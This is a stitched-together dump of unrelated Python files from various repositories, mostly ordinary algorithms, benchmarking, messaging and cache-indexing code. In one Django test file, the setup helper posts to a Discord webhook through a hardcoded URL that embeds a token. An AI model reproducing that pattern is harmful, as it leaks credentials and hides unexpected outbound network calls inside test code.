features = load_seg_features()
if conn_comp:
## variable 3, connected comp
plot_conn_comp(features[:,3],False,False)
thresh = conn_comp_n_percent(features[:,3],0.99)
print('The recommended threshold for connected components is {}'.format(thresh))
if slice_dice:
data = features[:,1]
plot_slice_dice_hist(data)
thresh = slice_dice_n_percent(data,0.99)
print('The recommended threshold for slice dices is {}'.format(thresh))
if int_mode:
data = features[:,4]
threshholds = int_mode_n_percent(data,0.80)
print(threshholds)
plot_int_mode_hist(data,threshholds)
if __name__ == "__main__":
main(False,False,True)
| 8,866 |
leetcode/268-missing-number.py
|
AmrMKayid/KayAlgo
| 1 |
2024123
|
class Solution:
def missingNumber(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
missing = len(nums)
for index, num in enumerate(nums):
missing ^= index ^ num
return missing
| 231 |
python/443.string-compression.py
|
fengbaoheng/leetcode
| 1 |
2024440
|
#
# @lc app=leetcode.cn id=443 lang=python3
#
# [443] 压缩字符串
#
# https://leetcode-cn.com/problems/string-compression/description/
#
# algorithms
# Easy (33.53%)
# Total Accepted: 3.5K
# Total Submissions: 10.5K
# Testcase Example: '["a","a","b","b","c","c","c"]'
#
# 给定一组字符，使用原地算法将其压缩。
#
# 压缩后的长度必须始终小于或等于原数组长度。
#
# 数组的每个元素应该是长度为1 的字符（不是 int 整数类型）。
#
# 在完成原地修改输入数组后，返回数组的新长度。
#
#
#
# 进阶：
# 你能否仅使用O(1) 空间解决问题？
#
#
#
# 示例 1：
#
#
# 输入：
# ["a","a","b","b","c","c","c"]
#
# 输出：
# 返回6，输入数组的前6个字符应该是：["a","2","b","2","c","3"]
#
# 说明：
# "aa"被"a2"替代。"bb"被"b2"替代。"ccc"被"c3"替代。
#
#
# 示例 2：
#
#
# 输入：
# ["a"]
#
# 输出：
# 返回1，输入数组的前1个字符应该是：["a"]
#
# 说明：
# 没有任何字符串被替代。
#
#
# 示例 3：
#
#
# 输入：
# ["a","b","b","b","b","b","b","b","b","b","b","b","b"]
#
# 输出：
# 返回4，输入数组的前4个字符应该是：["a","b","1","2"]。
#
# 说明：
# 由于字符"a"不重复，所以不会被压缩。"bbbbbbbbbbbb"被“b12”替代。
# 注意每个数字在数组中都有它自己的位置。
#
#
# 注意：
#
#
# 所有字符都有一个ASCII值在[35, 126]区间内。
# 1 <= len(chars) <= 1000。
#
#
#
from typing import List
class Solution:
# 快慢指针
def compress(self, chars: List[str]) -> int:
if chars is None:
return 0
length = len(chars)
if length == 0 or length == 1:
return length
p, qs, qe = 0, 0, 0
while True:
# 记录字符
chars[p] = chars[qs]
p += 1
# 快指针计算字符出现的次数
while qe < length and chars[qe] == chars[qs]:
qe += 1
count = qe - qs
# 字符出现超过1次，则追加次数
if count > 1:
count_char = list(str(count))
for i in range(len(count_char)):
chars[p] = count_char[i]
p += 1
# 判断是否遍历完数组
if qe == length:
break
qs = qe
return p
| 1,819 |
soluciones/RPC/2020-5/K_VolanTeam.py
|
ProgamacionCompetitivaUTFSM/ProgramacionCompetitivaUSM
| 4 |
2023829
|
letter = set()
alph = input()
for i in alph:
letter.add(i)
word = input()
largo = len(word)
rangoLargo = range(largo)
words = set()
for x in letter:
for i in rangoLargo:
word2 = word[0:i] + x + word[i:largo]
words.add(word2)
words.add(word + x)
for i in rangoLargo:
words.add(word[0:i] + word[i + 1: largo])
for x in letter:
for i in rangoLargo:
words.add(word[0:i] + x + word[i + 1: largo])
words = list(words)
words.sort()
for x in words:
if x != word:
print(x)
| 513 |
src/xsd_trips/tests.py
|
minyiky/xSACdb
| 0 |
2023636
|
import random
import requests
from django.contrib.auth.models import Group
from django.core.exceptions import PermissionDenied
from discord import Webhook, RequestsWebhookAdapter
from xSACdb.roles.groups import GROUP_TRIPS
from xSACdb.test_helpers import BaseTest
from xsd_auth.models import User
from xsd_frontend.tests import fake
from xsd_trips.models import Trip
class BaseTripTest(BaseTest):
def setUp(self):
self.member = User.objects.fake_single(self.fake)
self.trip_organiser = User.objects.fake_single(self.fake)
self.do = User.objects.fake_single(self.fake)
self.do.groups.add(Group.objects.get(pk=GROUP_TRIPS))
self.new_trip = self.create_a_trip()
self.open_trip = self.create_a_trip()
self.open_trip.set_approved(self.do)
self.open_trip.set_open(self.do)
def create_a_trip(self):
webhook = Webhook.from_url("https://discord.com/api/webhooks/839835947872288768/j-JqFQ6D-3SjRn9mPo_8TuU1dibzG9ykuQh6nGPgjovbv3zXrMIvXrQDnq22UwpZFVKU", adapter=RequestsWebhookAdapter())
webhook.send("Hello World")
return Trip.objects.create(
name=self.fake.name(),
date_start=self.fake.date_time_between(start_date='now', end_date='+10y').date(),
description='\n\n'.join(fake.paragraphs(nb=random.randrange(1, 4))),
owner=self.trip_organiser.profile,
)
class TripManagerTest(BaseTripTest):
def test_upcoming_hidden(self):
# Test a trip that hasn't been approved yet doesn't show up in the 'upcoming' list
self.assertFalse(self.new_trip in Trip.objects.upcoming())
def test_upcoming_hidden_all(self):
# Test a trip that hasn't been approved yet does show up in upcoming all
self.assertTrue(self.new_trip in Trip.objects.upcoming_all())
def test_upcoming_open(self):
# Test an open trip shows in upcoming
self.assertTrue(self.open_trip in Trip.objects.upcoming())
def test_private(self):
# New trips show in private
self.assertTrue(self.new_trip in Trip.objects.private())
class TripStateTest(BaseTripTest):
def test_state_class(self):
self.assertEqual(self.new_trip.state_class, 'trip-state-new')
def test_deny_trip(self):
# Member / trip owner cannot deny
self.assertFalse(self.new_trip.is_denied)
with self.assertRaises(PermissionDenied):
self.new_trip.set_approved(self.member)
with self.assertRaises(PermissionDenied):
self.new_trip.set_denied(self.trip_organiser)
# DO can
self.new_trip.set_denied(self.do)
self.new_trip.refresh_from_db()
self.assertTrue(self.new_trip.is_denied)
def test_approve_trip(self):
# Member / trip owner cannot approve
self.assertFalse(self.new_trip.is_approved)
with self.assertRaises(PermissionDenied):
self.new_trip.set_approved(self.member)
with self.assertRaises(PermissionDenied):
self.new_trip.set_approved(self.trip_organiser)
# DO can
self.new_trip.set_approved(self.do)
self.new_trip.refresh_from_db()
self.assertTrue(self.new_trip.is_approved)
def test_cancel_trip(self):
self.assertFalse(self.new_trip.is_cancelled)
# Random member cannot cancel trip
with self.assertRaises(PermissionDenied):
self.new_trip.set_cancelled(self.member)
# Organiser cannot open trip before its public
with self.assertRaises(PermissionDenied):
self.new_trip.set_cancelled(self.trip_organiser)
self.new_trip.set_approved(self.do)
with self.assertRaises(PermissionDenied):
self.new_trip.set_cancelled(self.trip_organiser)
# With public
self.new_trip.set_open(self.do)
self.new_trip.set_cancelled(self.trip_organiser)
self.new_trip.set_closed(self.do)
self.new_trip.set_cancelled(self.trip_organiser)
self.new_trip.refresh_from_db()
self.assertTrue(self.new_trip.is_cancelled)
def test_open_trip(self):
self.assertFalse(self.new_trip.is_open)
# Random member cannot open trip
with self.assertRaises(PermissionDenied):
self.new_trip.set_open(self.member)
# Organiser cannot open trip before its approved
with self.assertRaises(PermissionDenied):
self.new_trip.set_open(self.trip_organiser)
# With approval they can
self.new_trip.set_approved(self.do)
self.new_trip.set_open(self.trip_organiser)
self.new_trip.refresh_from_db()
self.assertTrue(self.new_trip.is_open)
def test_close_trip(self):
self.assertFalse(self.new_trip.is_closed)
# Random member cannot close trip
with self.assertRaises(PermissionDenied):
self.new_trip.set_closed(self.member)
# Organiser cannot open trip before its approved
with self.assertRaises(PermissionDenied):
self.new_trip.set_closed(self.trip_organiser)
# With approval they can
self.new_trip.set_approved(self.do)
self.new_trip.set_closed(self.trip_organiser)
self.new_trip.refresh_from_db()
self.assertTrue(self.new_trip.is_closed)
| 5,296 |
tools/telemetry/telemetry/page/page_benchmark_runner.py
|
codenote/chromium-test
| 0 |
2023354
|
#!/usr/bin/env python
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import csv
import logging
import os
import sys
from telemetry.core import browser_finder
from telemetry.core import browser_options
from telemetry.page import block_page_benchmark_results
from telemetry.page import csv_page_benchmark_results
from telemetry.page import page_benchmark
from telemetry.page import page_runner
from telemetry.page import page_set
from telemetry.test import discover
def Main(benchmark_dir):
"""Turns a PageBenchmark into a command-line program.
Args:
benchmark_dir: Path to directory containing PageBenchmarks.
"""
benchmarks = discover.DiscoverClasses(benchmark_dir,
os.path.join(benchmark_dir, '..'),
page_benchmark.PageBenchmark)
# Naively find the benchmark. If we use the browser options parser, we run
# the risk of failing to parse if we use a benchmark-specific parameter.
benchmark_name = None
for arg in sys.argv:
if arg in benchmarks:
benchmark_name = arg
options = browser_options.BrowserOptions()
parser = options.CreateParser('%prog [options] <benchmark> <page_set>')
page_runner.PageRunner.AddCommandLineOptions(parser)
parser.add_option('--output-format',
dest='output_format',
default='csv',
help='Output format. Can be "csv" or "block". '
'Defaults to "%default".')
parser.add_option('-o', '--output',
dest='output_file',
help='Redirects output to a file. Defaults to stdout.')
parser.add_option('--output-trace-tag',
dest='output_trace_tag',
help='Append a tag to the key of each result trace.')
benchmark = None
if benchmark_name is not None:
benchmark = benchmarks[benchmark_name]()
benchmark.AddCommandLineOptions(parser)
_, args = parser.parse_args()
if benchmark is None or len(args) != 2:
parser.print_usage()
import page_sets # pylint: disable=F0401
print >> sys.stderr, 'Available benchmarks:\n%s\n' % ',\n'.join(
sorted(benchmarks.keys()))
print >> sys.stderr, 'Available page_sets:\n%s\n' % ',\n'.join(
sorted([os.path.relpath(f)
for f in page_sets.GetAllPageSetFilenames()]))
sys.exit(1)
ps = page_set.PageSet.FromFile(args[1])
benchmark.CustomizeBrowserOptions(options)
possible_browser = browser_finder.FindBrowser(options)
if not possible_browser:
print >> sys.stderr, """No browser found.\n
Use --browser=list to figure out which are available.\n"""
sys.exit(1)
if not options.output_file:
output_file = sys.stdout
elif options.output_file == '-':
output_file = sys.stdout
else:
output_file = open(os.path.expanduser(options.output_file), 'w')
if options.output_format == 'csv':
results = csv_page_benchmark_results.CsvPageBenchmarkResults(
csv.writer(output_file),
benchmark.results_are_the_same_on_every_page)
elif options.output_format in ('block', 'terminal-block'):
results = block_page_benchmark_results.BlockPageBenchmarkResults(
output_file)
else:
raise Exception('Invalid --output-format value: "%s". Valid values are '
'"csv" and "block".'
% options.output_format)
with page_runner.PageRunner(ps) as runner:
runner.Run(options, possible_browser, benchmark, results)
output_trace_tag = ''
if options.output_trace_tag:
output_trace_tag = options.output_trace_tag
elif options.browser_executable:
# When using an exact executable, assume it is a reference build for the
# purpose of outputting the perf results.
# TODO(tonyg): Remove this branch once the perfbots use --output-trace-tag.
output_trace_tag = '_ref'
results.PrintSummary(output_trace_tag)
if len(results.page_failures):
logging.warning('Failed pages: %s', '\n'.join(
[failure['page'].url for failure in results.page_failures]))
if len(results.skipped_pages):
logging.warning('Skipped pages: %s', '\n'.join(
[skipped['page'].url for skipped in results.skipped_pages]))
return min(255, len(results.page_failures))
| 4,375 |
smserver/messaging.py
|
CorySanin/stepmania-server
| 17 |
2022832
|
""" Messaging module
Us to send messages between process and thread
"""
import abc
import queue
from smserver import redis_database
from smserver import event
class Messaging(object):
""" Message class """
def __init__(self, handler=None):
self._handler = handler
def send(self, message):
""" Send a message to all the listener """
if not self._handler:
raise ValueError("No handler configured")
self._handler.send(message)
def listen(self):
""" Listen for incomming messages """
if not self._handler:
raise ValueError("No handler configured")
yield from self._handler.listen()
def set_handler(self, handler):
""" Set the handler to use """
self._handler = handler
def stop(self):
""" Stop the message listener """
if not self._handler:
raise ValueError("No handler configured")
self._handler.stop()
def clear(self):
""" Clear all the message in the listener """
if not self._handler:
raise ValueError("No handler configured")
self._handler.clear()
class MessageHandler(metaclass=abc.ABCMeta):
""" Abstract class for creating new handler """
@abc.abstractmethod
def send(self, message):
""" How the handler handle the message delivery
:param smserver.event.Event message: Message to send
"""
if not isinstance(message, event.Event):
raise ValueError("Messaging only support Event object")
@abc.abstractmethod
def listen(self):
""" How the handler listen for incomming message """
@abc.abstractmethod
def stop(self):
""" Stop the listener """
def clear(self):
""" Clear the element (if needed) """
class PythonHandler(MessageHandler):
""" Python handler use when using the server in only one process """
def __init__(self):
self._queue = queue.Queue()
def send(self, message):
""" Send the message to the queue """
super().send(message)
self._queue.put(message)
def listen(self):
""" Process message from the queue """
while True:
message = self._queue.get()
if message is None:
break
yield message
self._queue.task_done()
def stop(self):
""" Stop the listener by adding a None element to the queue """
self._queue.put(None)
def clear(self):
""" Clear all the element in the queue (use in test) """
with self._queue.mutex:
self._queue.queue.clear()
class RedisHandler(MessageHandler):
""" Redis Handler. Use pub/sub mechanism """
def __init__(self, channel="socka"):
self.connection = redis_database.new_connection()
self.pubsub = self.connection.pubsub(
ignore_subscribe_messages=True
)
self.channel = channel
self._continue = False
def send(self, message):
""" Send a message through a redis chanel """
super().send(message)
self.connection.publish(self.channel, message.encode())
def listen(self):
""" Listen for message comming through redis """
self._continue = True
self.pubsub.subscribe(self.channel)
while self._continue:
message = self.pubsub.get_message(timeout=0.01)
if not message or message["type"] != "message":
continue
yield event.Event.decode(message["data"])
self.pubsub.unsubscribe(self.channel)
self.pubsub.close()
def stop(self):
""" Stop the listener by adding a None element to the queue """
self._continue = False
_MESSAGING = Messaging()
def set_handler(handler):
""" Add an handler to the global message class """
_MESSAGING.set_handler(handler)
def send(message):
""" Send a message with the global message class """
_MESSAGING.send(message)
def send_event(kind, data=None, token=None, room_id=None):
""" Send an event with the global message class """
_MESSAGING.send(event.Event(
kind=kind,
data=data,
token=token,
room_id=room_id
))
def listen():
""" Listen for message with the global message class """
yield from _MESSAGING.listen()
def stop():
""" Stop to listen """
_MESSAGING.stop()
def clear():
""" Clear all the messages"""
_MESSAGING.clear()
| 4,523 |
thing/models/serverstatus.py
|
skyride/evething-2
| 21 |
2022953
|
from django.db import models
class ServerStatus(models.Model):
online = models.BooleanField(default=False)
players = models.IntegerField(default=0)
start_time = models.DateTimeField()
server_version = models.IntegerField()
| 249 |
FFNN/test_bias_adjustment.py
|
cherry979988/feedforward-RE
| 1 |
2024403
|
import torch
import numpy as np
import scipy.io as sio
import random
import model.utils as utils
import model.pack as pack
import model.noCluster as noCluster
import sys
import os
if len(sys.argv) != 8:
print('Usage: test_bias_adjustment.py -DATA -outputDropout(0.2) -inputDropout(0) -batchSize(20) -embLen(50) -ratio(0.1) -seed(1234)')
exit(1)
# python3 test_bias_adjustment.py KBP 0.5 0.1 80 50 none 4
SEED = int(sys.argv[7])
print('Using Random Seed: '+str(SEED))
torch.manual_seed(SEED)
np.random.seed(SEED)
random.seed(SEED)
dataset = sys.argv[1]
drop_prob = float(sys.argv[2])
repack_ratio = float(sys.argv[3])
bat_size = int(sys.argv[4])
embLen = int(sys.argv[5])
ratio = float(sys.argv[6])
train_file = './data/intermediate/' + dataset + '/rm/train.data'
dev_file = './data/intermediate/' + dataset + '/rm/dev.data'
test_file = './data/intermediate/' + dataset + '/rm/test.data'
feature_file = './data/intermediate/' + dataset + '/rm/feature.txt'
type_file = './data/intermediate/' + dataset + '/rm/type.txt'
type_file_test = './data/intermediate/' + dataset + '/rm/type_test.txt'
none_ind = utils.get_none_id(type_file)
print("None id:", none_ind)
label_distribution = utils.get_distribution(type_file)
label_distribution_test = utils.get_distribution(type_file_test)
word_size, pos_embedding_tensor = utils.initialize_embedding(feature_file, embLen)
_, type_size, _, _, _ = utils.load_corpus(train_file)
nocluster = noCluster.noCluster(embLen, word_size, type_size, drop_prob, label_distribution, label_distribution_test)
#nocluster.load_state_dict(torch.load('./dumped_models/KBP_bias_eq_log_distrib_orig_hyper/ffnn_dump_'+'_'.join(sys.argv[1:6])+'.pth'))
torch.cuda.set_device(0)
nocluster.cuda()
if_cuda = True
packer = pack.repack(repack_ratio, 20, if_cuda)
# bias adjustment
doc_size_test, _, feature_list_test, label_list_test, type_list_test = utils.load_corpus(test_file)
results = []
for randseed in range(1, 6):
nocluster.load_state_dict(torch.load('./dumped_models/ffnn_dump_' + '_'.join(sys.argv[1:6]) +'_' + str(randseed) + '.pth'))
for i in range(100):
labels, feature = utils.shuffle_data(label_list_test, feature_list_test)
eva_n = int(ratio * len(label_list_test))
eva_label = labels[:eva_n]
eva_label_distribution = utils.get_distribution_from_list(eva_label, max_index=25)
test_label = labels[eva_n:]
test_feature = feature[eva_n:]
fl_t, of_t = packer.repack_eva(test_feature)
nocluster.eval()
scores = nocluster.test_with_bias(fl_t, of_t, eva_label_distribution)
entropy = utils.calcEntropy(scores)
ind = utils.calcInd(scores)
f1score, recall, precision, val_f1, pn_precision, nprecision, nrecall, accuracy = utils.noCrossValidation(ind.data, entropy.data, test_label, ind.data, entropy.data, test_label, none_ind)
#print('F1 = %.4f, recall = %.4f, precision = %.4f, pn_precision = %.4f, accuracy = %.4f' % (f1score, recall, precision, pn_precision, accuracy))
results.append([f1score, recall, precision])
print('F1, recall, precision: ')
print(np.average(results, axis=0))
print(np.std(results, axis=0))
print(np.shape(results))
| 3,207 |
bin/bin_onePT/vmax-1C-fit-z0-sat.py
|
JohanComparat/nbody-npt-functions
| 4 |
2023166
|
from os.path import join
import numpy as n
import astropy.io.fits as fits
import os
import lib_functions_1pt as lib
import cPickle
import astropy.cosmology as co
cosmo = co.Planck13
import glob
import matplotlib
#matplotlib.use('pdf')
matplotlib.rcParams['font.size']=12
import matplotlib.pyplot as p
from scipy.interpolate import interp1d
from scipy.misc import derivative
#Quantity studied
#=================
qty = "vmax"
cos = 'sat'
# working directory
#=================
dir = join(os.environ['MULTIDARK_LIGHTCONE_DIR'], qty)
# loads summary file
data = fits.open( join(dir, "MD_"+qty+"_summary.fits"))[1].data
ZMIN = 0.
ZMAX = 2.3
MD04=(data["boxName"]=='MD_0.4Gpc')
MD10=(data["boxName"]=='MD_1Gpc')
MD25=(data["boxName"]=='MD_2.5Gpc')
MD40=(data["boxName"]=='MD_4Gpc')
MD25NW=(data["boxName"]=='MD_2.5GpcNW')
MD40NW=(data["boxName"]=='MD_4GpcNW')
MD40z = (MD40) & (data['redshift']<ZMAX)& (data['redshift']>ZMIN)
zzs = set(data['redshift'][MD40z])
param_z0_file=open(join(dir, "vmax-"+cos+"-diff-function-z0-params.pkl"), 'r')
outCF = cPickle.load(param_z0_file)
param_z0_file.close()
A0, v0, a0, b0 = outCF[0]
# fitting function parameters
#=================
def fitZ(zmin, zmax, suffix):
NminCount = 100
# 1 percent deviation from mass function given the sigma 8 deviation
limits_04 = [125, 450] #max : 2e13#[100, 1000]
limits_10 = [250, 800] #max : 2e14
limits_25 = [600, 1100] #max : 5e14
limits_40 = [800, 1400] #max : 2e14
p0 = n.array([A0, v0, a0, b0])
#zmin = -0.01
#zmax = 0.001
#=================
# DATA
#=================
# redshift selection
zSel = lib.zSelection( data, zmin, zmax )
# mass selection
mSel = lib.vSelection(data, qty, limits_04, limits_10, limits_25,limits_40)
# minimum number counts selection
nSel = lib.nSelection(data, NminCount, cos)
# altogether
ok = (zSel) & (mSel) & (nSel)
# selection per box :
# x coordinates definition
#=================
vmax = data[qty]
log_vmax = n.log10(vmax)
#print len(vmax), n.min(vmax), n.max(vmax)
# y coordinates
#=================
norm = (100)**3. /(cosmo.H(data["redshift"]).value)**6.
log_VF = n.log10( norm * vmax**3. * data["dNdVdlnV_"+cos])
log_VF_c = n.log10( norm * vmax**3. * data["dNdVdlnV_"+cos+"_c"])
#print n.min(log_VF), n.max(log_VF)
# error on y position
#=================
error = (data["std90_pc_"+cos]**2. + data["dN_counts_"+cos]**(-1.))**(0.5)
print "n points", len(log_vmax[ok])
if len(log_vmax[ok])>50 :
pOpt, pCov = lib.fit_vmax_function_z0(data[ok], x_data = log_vmax[ok], y_data = log_VF[ok], y_err = error[ok], p0 = p0, cos = cos, mode = "curve_fit", suffix = suffix)
zba = n.array(list(zzs))
zba.sort()
#nna = (zba[1:]+zba[:-1])/2.
#zbb = n.hstack(( zba[0]-0.1, nna, zba[-1]+0.1 ))
for ii, zz in enumerate(zba) :
print '====================='
print 'redshift bin', str(zz)
#fitZ(zmin=zbb[ii], zmax=zbb[ii+1], suffix=str(zz))
fitZ(zmin=zz-0.001, zmax=zz+0.001, suffix=str(zz))
print '====================='
print '====================='
print '====================='
print 'Z=0'
print '====================='
print '====================='
fitZ(zmin=-0.001, zmax=+0.001, suffix=str(0.0))
outfiles = n.array(glob.glob(join(dir,"vmax-"+cos+"-diff-function-params-*.pkl")))
outfiles.sort()
ps = []
psErr = []
ZZ = []
for outfile in outfiles:
f=open(outfile, 'r')
ZZ.append(float(os.path.basename(outfile).split('-')[-1][:-4]))
pOpt, pCov = cPickle.load(f)
ps.append(pOpt)
psErr.append(pCov.diagonal()**0.5)
pA, pv0, palpha, pbeta = n.transpose(ps)
pA_e, pv0_e, palpha_e, pbeta_e = n.transpose(psErr)
ZZ = n.array(ZZ)
ZZr = n.arange(0., ZMAX+0.02, 0.01)
def plotPoly(ndeg):
fig = p.figure(10, (8, 8))
ax1 = fig.add_subplot(221)
ax1.errorbar(ZZ, pA, yerr = pA_e, rasterized=True, fmt='none')
ppp = n.polyfit(ZZ, pA, deg=ndeg, w= 1/pA_e)
print 'A', ppp
ax1.plot(ZZr, n.polyval(ppp, ZZr), label=ppp)
ax1.set_xlabel('z')
ax1.set_ylabel('A')
ax1.set_ylim((-2,0.5))
ax1.set_xlim((-0.1,ZMAX+0.1))
ax1.grid()
ax1.set_title(n.round(ppp,3), fontsize=9)
ax2 = fig.add_subplot(222)
ax2.errorbar(ZZ, pv0, yerr = pv0_e, rasterized=True, fmt='none')
ppp = n.polyfit(ZZ, pv0, deg=ndeg, w= 1/pv0_e)
print 'v0', ppp
ax2.plot(ZZr, n.polyval(ppp, ZZr), label=ppp)
ax2.set_xlabel('z')
ax2.set_ylabel('v0')
ax2.set_ylim((2,4))
ax2.set_xlim((-0.1,ZMAX+0.1))
ax2.grid()
ax2.set_title(n.round(ppp,3), fontsize=9)
ax3 = fig.add_subplot(223)
ax3.errorbar(ZZ, palpha, yerr = palpha_e, rasterized=True, fmt='none')
ppp = n.polyfit(ZZ, palpha, deg=ndeg, w= 1/palpha_e)
print 'alpha', ppp
ax3.plot(ZZr, n.polyval(ppp, ZZr), label=ppp)
ax3.set_xlabel('z')
ax3.set_ylabel('alpha')
ax3.set_ylim((0.5,2.5))
ax3.set_xlim((-0.1, ZMAX+0.1))
ax3.set_title(n.round(ppp,3), fontsize=9)
ax3.grid()
ax4 = fig.add_subplot(224)
ax4.errorbar(ZZ, pbeta, yerr = pbeta_e, rasterized=True, fmt='none')
ppp = n.polyfit(ZZ, pbeta, deg=ndeg, w= 1/pbeta_e)
print 'beta', ppp
ax4.plot(ZZr, n.polyval(ppp, ZZr), label=ppp)
ax4.set_title(n.round(ppp,3), fontsize=9)
ax4.set_xlabel('z')
ax4.set_ylabel('beta')
ax4.set_ylim((-3,0))
ax4.set_xlim((-0.1,ZMAX+0.1))
ax4.grid()
p.savefig(join(dir, "parameters-ztrend-"+cos+str(ndeg)+".png"))
p.clf()
plotPoly(1)
plotPoly(2)
plotPoly(3)
plotPoly(4)
plotPoly(5)
| 5,269 |
parser.py
|
Ester-Ramos/escaleta_bot
| 1 |
2023734
|
class TokenNotFound(ValueError):
...
class Parser:
def __init__(self, tokens):
self.date = None
self.tokens = tokens
self.current_token = 0
self.sections = {}
self.parse()
def expect(self, expected):
the_token = self.tokens[self.current_token]
if the_token != expected:
raise TokenNotFound(
f"Unexpected token: {repr(the_token)} at position {self.current_token}"
)
self.current_token += 1
return the_token
def advance_newline(self):
while self.peek() in {" ", "\n"}:
self.current_token += 1
def advance_whitespace(self):
while self.peek() == " ":
self.current_token += 1
def peek(self):
return self.tokens[self.current_token]
def consume(self):
next_token = self.tokens[self.current_token]
self.current_token += 1
return next_token
def expect_tokens(self, tokens):
result = []
for token in tokens:
result.append(self.expect(token))
return result
def parse_header(self):
self.advance_whitespace()
self.expect_tokens("```asciidoc")
self.advance_newline()
def consume_until(self, token):
tokens = []
while self.peek() != token:
tokens.append(self.consume())
return "".join(tokens)
def parse_date(self):
self.advance_whitespace()
self.expect("[")
date = self.consume_until("]")
self.expect("]")
self.advance_newline()
return date
def parse_section(self):
self.advance_whitespace()
# Parse section header
try:
self.expect("=")
except TokenNotFound:
return None
section = self.consume_until("=").strip()
self.expect("=")
self.advance_newline()
items = []
while True:
new_item = self.parse_item()
if not new_item:
break
items.append(new_item)
return (section, items)
def parse_item(self):
try:
self.expect("-")
except TokenNotFound:
return None
self.advance_whitespace()
item = self.consume_until("\n")
self.advance_newline()
return item
def parse_footer(self):
self.advance_whitespace()
self.expect_tokens("```")
def parse(self):
self.parse_header()
self.date = self.parse_date()
while True:
section = self.parse_section()
if not section:
break
section_name, items = section
self.sections[section_name] = items
self.parse_footer()
| 2,772 |
create_indexes.py
|
zafergurel/nginx-cache-cleaner
| 8 |
2024548
|
#!/usr/bin/env python3
'''Nginx Cache Index Generator
Creates index files for each nginx cache folder
'''
import os
import subprocess
import datetime
import sys
# Script parameters
cache_folder = "/cache"
index_folder = "/cache/_cacheindex"
default_cache_duration = 30
current_dir = os.path.dirname(os.path.realpath(__file__))
index_creator_script = current_dir + "/bin/create_index.sh"
dir_empty_check_script = current_dir + "/bin/is_empty_dir.sh"
def create_indexes(op_mode="append"):
'''Creates index files for each nginx cache folder.
op_mode can be append or create
In "append" mode, index file creation dates are checked and only
recently added cache files are added to index file.
In "create" mode index files are re-created.
Default mode is append.
'''
if op_mode != "append" and op_mode != "create":
op_mode = "append"
if not os.path.exists(index_folder):
subprocess.Popen(["mkdir", "-p", index_folder]).wait()
folders = get_folders(cache_folder)
for f in folders:
index_file = index_folder + "/" + f.replace("/", "_") + ".ind"
delta = -1 * default_cache_duration
if os.path.exists(index_file) and op_mode == "append":
# get creation time
ctime = datetime.datetime.fromtimestamp(os.stat(index_file).st_mtime)
delta = -1 * round((datetime.datetime.now() - ctime).seconds / 3600 / 24, 2)
# delta cannot be less than default duration
if delta < -1 * default_cache_duration:
delta = -1 * default_cache_duration
if delta < 0:
print("Cache operation: "+ op_mode + " -> " + f + " (" + str(delta) + " days)")
subprocess.Popen([index_creator_script, op_mode, f, index_file, str(delta)]).wait()
def is_empty_dir(dir_path):
'''Checks whether a directory is empty or not
'''
result = "0"
with subprocess.Popen([dir_empty_check_script, dir_path],stdout=subprocess.PIPE) as proc:
result = proc.stdout.read().decode().strip()
return result == "1"
def get_folders(base_folder):
'''Returns all the folders (except index_folder) under
cache folder.
'''
folders = []
for root, dirs, _ in os.walk(base_folder):
for dir in dirs:
full_path = root + "/" + dir
if full_path != index_folder and not is_empty_dir(full_path):
folders.append(full_path)
return folders
if __name__ == "__main__":
op_mode = sys.argv[1] if len(sys.argv) > 1 else "append"
create_indexes(op_mode)
| 2,578 |
examples/demo.py
|
christophevg/py-mqfactory
| 0 |
2024515
|
import time
import socket
# The core of the factory allows for instantiating a `MessageQueue`. Such an MQ
# has an inbox and an outbox, which can be processed using the `process_inbox`
# and `process_outbox` methods (or the `send_and_receive` method). To automate
# this we can apply `Threaded` to the MQ to automate calling these methods.
from mqfactory import Threaded, MessageQueue
# An MQ needs at least a way to send its message, this is a `Transport`. Here we
# use an MQTT implementation.
from mqfactory.transport.mqtt import MQTTTransport
# One aspect of transporting messages is how much care is taken in making sure
# they are delivered. This is often called quality of service and can take many
# forms. Here we choose to retry sending messages untill they are acknowledged.
from mqfactory.transport.qos import Acknowledging
# An MQ takes any payload and will pass it as-is. Here we choose to have the
# payload formatted using JSON, taking care of serializing and deserializing.
from mqfactory.message.format.js import JsonFormatting
# A standard MQ will hold its messages in a `Queue` in memory. Using a
# `Collection` in a `Store` we can persist these, e.g. to a `MongoStore`.
from mqfactory.store import Persisting
from mqfactory.store.mongo import MongoStore
# Let's use a localy running MongoDB instance:
mongo = MongoStore("mongodb://localhost:27017/mqfactory")
# Beside formatting it using JSON, we also choose to have our payload signed and
# validated using a public/private keypair. Keys for these signatures are also
# storable in a `Collection` in a `Store`, such as the `MongoStore`.
from mqfactory.message.security import Signing
from mqfactory.message.security.rsa import RsaSignature
# Since we want to sign our messages, we need to provision a keypair.
from mqfactory.message.security.rsa import generate_key_pair, encode
private, public = generate_key_pair()
# We store the keypair in a MongoDB collection(keys) and identify the pair by
# our hostname, which is the default used by MQFactory.
HOSTNAME = socket.gethostname()
mongo["keys"].remove(HOSTNAME)
mongo["keys"].add({
"_id": HOSTNAME,
"private": encode(private),
"public" : encode(public)
})
# Now we can finally assemble all these components into our own specific MQ,
# adding layer after layer:
mq = JsonFormatting(
Signing(
Acknowledging(
Persisting(
Threaded(
MessageQueue(
MQTTTransport("mqtt://localhost:1883")
)
),
inbox=mongo["inbox"],
outbox=mongo["outbox"]
)
),
adding=RsaSignature(mongo["keys"])
)
)
# When receiving a message, just print it to the console...
def show(msg):
print "received {0} from {1}, tagged with {2}".format(
msg.payload, msg.to, msg.tags
)
# Subscribe to incoming messages addressed to myself and handle them with show.
mq.on_message("myself", show)
# Finally, send a message ... to myself.
mq.send("myself", "a message")
time.sleep(1) # to make sure we receive the answer ;-)
| 3,163 |
modoboa/transport/models.py
|
Arvedui/modoboa
| 2 |
2024317
|
# -*- coding: utf-8 -*-
"""Transport models."""
from __future__ import unicode_literals
import jsonfield
from reversion import revisions as reversion
from django.db import models
from django.utils.translation import ugettext_lazy as _
from . import backends
class Transport(models.Model):
"""Transport table."""
pattern = models.CharField(
_("pattern"), unique=True, max_length=253, db_index=True)
service = models.CharField(_("service"), max_length=30)
next_hop = models.CharField(_("next hop"), max_length=100, blank=True)
_settings = jsonfield.JSONField(default={})
class Meta:
ordering = ["pattern"]
def __str__(self):
return self.pattern
@property
def backend(self):
"""Shortcut to access backend."""
if not self.service:
return None
return backends.manager.get_backend(self.service)
reversion.register(Transport)
| 929 |
The Game/Sprites/Player.py
|
